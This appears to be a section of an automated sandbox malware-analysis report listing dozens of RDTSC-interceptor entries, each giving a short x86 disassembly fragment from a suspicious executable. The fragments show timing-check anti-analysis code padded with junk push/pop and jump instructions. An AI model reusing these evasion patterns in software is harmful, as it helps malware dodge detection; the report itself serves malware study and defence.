Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7859 second address: FF7879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0D84D62026h 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7879 second address: FD73A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B917h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F0D8517B908h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 add dword ptr [ebp+122D2157h], ebx 0x0000002a mov dword ptr [ebp+122D334Ah], esi 0x00000030 call dword ptr [ebp+122D2629h] 0x00000036 jbe 00007F0D8517B90Ah 0x0000003c push edi 0x0000003d pushad 0x0000003e popad 0x0000003f pop edi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 jnl 00007F0D8517B906h 0x0000004b jmp 00007F0D8517B914h 0x00000050 popad 0x00000051 jmp 00007F0D8517B90Fh 0x00000056 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7A77 second address: FF7A83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7A83 second address: FF7A87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7E4D second address: FF7E53 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7E53 second address: FF7EAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0D8517B906h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 39F6BAA1h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F0D8517B908h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f jmp 00007F0D8517B911h 0x00000034 mov dword ptr [ebp+12458DB4h], esi 0x0000003a push C1549D7Dh 0x0000003f push eax 0x00000040 push edx 0x00000041 push ebx 0x00000042 pushad 0x00000043 popad 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7F2F second address: FF7F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0D84D62020h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F0D84D62018h 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF8017 second address: FF801B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF8237 second address: FF8241 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF8241 second address: FF8248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF837A second address: FF83BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F0D84D6201Dh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F0D84D62018h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000004h 0x00000029 mov dword ptr [ebp+122D2157h], ebx 0x0000002f nop 0x00000030 pushad 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF8895 second address: FF889A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF89DD second address: FF89E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0D84D62016h 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF89E7 second address: FF8A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push ebx 0x00000016 jmp 00007F0D8517B913h 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0D8517B90Fh 0x00000025 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF8AC7 second address: FF8B11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ebx 0x0000000f pop ecx 0x00000010 nop 0x00000011 xor edi, 5741E799h 0x00000017 lea eax, dword ptr [ebp+12489605h] 0x0000001d pushad 0x0000001e mov ecx, dword ptr [ebp+122D3A9Bh] 0x00000024 mov ebx, eax 0x00000026 popad 0x00000027 mov edi, dword ptr [ebp+122D1C27h] 0x0000002d nop 0x0000002e push ecx 0x0000002f js 00007F0D84D6201Ch 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FD7E22 second address: FD7E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FD7E2A second address: FD7E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10304DE second address: 10304E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10304E3 second address: 103050A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0D84D62016h 0x00000009 ja 00007F0D84D62016h 0x0000000f pushad 0x00000010 popad 0x00000011 jl 00007F0D84D62016h 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F0D84D6201Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1030CD4 second address: 1030CD9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1030CD9 second address: 1030CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0D84D6201Dh 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1030CED second address: 1030CFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1030CFC second address: 1030D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1039958 second address: 103995E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 103995E second address: 1039964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1039964 second address: 1039980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B90Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a ja 00007F0D8517B906h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038328 second address: 103832E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 103832E second address: 1038350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jbe 00007F0D8517B906h 0x00000010 pop esi 0x00000011 jnc 00007F0D8517B911h 0x00000017 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038665 second address: 103866B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 103866B second address: 1038674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10387B7 second address: 10387C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0D84D62016h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10387C2 second address: 10387C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10387C8 second address: 10387DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D6201Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038B00 second address: 1038B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038C75 second address: 1038C79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038C79 second address: 1038C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038C81 second address: 1038C90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 je 00007F0D84D62016h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038C90 second address: 1038C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F0D8517B906h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038C9F second address: 1038CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038CA3 second address: 1038CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038DE4 second address: 1038DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038DEA second address: 1038DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038F68 second address: 1038F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62026h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038F82 second address: 1038F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038F8C second address: 1038F92 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038F92 second address: 1038FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F0D8517B90Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038FA3 second address: 1038FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10397D9 second address: 10397EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0D8517B906h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F0D8517B906h 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10397EE second address: 10397F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 103FF9A second address: 103FFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F0D8517B91Ah 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1042FA2 second address: 1042FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1042B99 second address: 1042BC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B918h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0D8517B91Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1048208 second address: 104820C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 104CA6A second address: 104CACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007F0D8517B911h 0x0000000b jng 00007F0D8517B906h 0x00000011 pop eax 0x00000012 je 00007F0D8517B912h 0x00000018 popad 0x00000019 pushad 0x0000001a jno 00007F0D8517B908h 0x00000020 pushad 0x00000021 jmp 00007F0D8517B912h 0x00000026 jmp 00007F0D8517B90Ch 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jl 00007F0D8517B906h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 104CACE second address: 104CAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 104CAD2 second address: 104CAD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 104D2DF second address: 104D30C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D84D62026h 0x0000000d jmp 00007F0D84D6201Fh 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 104D30C second address: 104D310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10506DE second address: 1050714 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D84D62018h 0x00000008 jmp 00007F0D84D6201Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F0D84D62026h 0x00000019 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1050131 second address: 105014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0D8517B906h 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F0D8517B906h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007F0D8517B906h 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105014C second address: 1050150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1050150 second address: 1050156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1050156 second address: 1050160 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D84D62022h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1057CE9 second address: 1057CEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1057CEF second address: 1057CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0D84D6201Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1057CFD second address: 1057D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1057FC9 second address: 1057FD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105826C second address: 1058272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1058272 second address: 1058276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1058276 second address: 105828A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F0D8517B90Eh 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105828A second address: 10582BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D6201Dh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F0D84D62024h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10582BB second address: 10582C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10582C1 second address: 10582D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0D84D6201Ah 0x0000000c jnl 00007F0D84D62016h 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10582D8 second address: 10582FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B919h 0x00000007 jc 00007F0D8517B906h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105888E second address: 1058894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1058894 second address: 10588C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F0D8517B926h 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10588C2 second address: 10588CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0D84D62016h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10588CE second address: 10588D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1058BE3 second address: 1058BE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1059127 second address: 1059142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B917h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1059142 second address: 1059146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1059146 second address: 105917C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jne 00007F0D8517B906h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 jbe 00007F0D8517B908h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0D8517B914h 0x00000025 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105DD7F second address: 105DD83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105DD83 second address: 105DD8D instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105DD8D second address: 105DD97 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D84D6201Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061B4E second address: 1061B5F instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061B5F second address: 1061B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061B65 second address: 1061B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061B69 second address: 1061B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1060DF3 second address: 1060E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F0D8517B917h 0x0000000b rdtsc
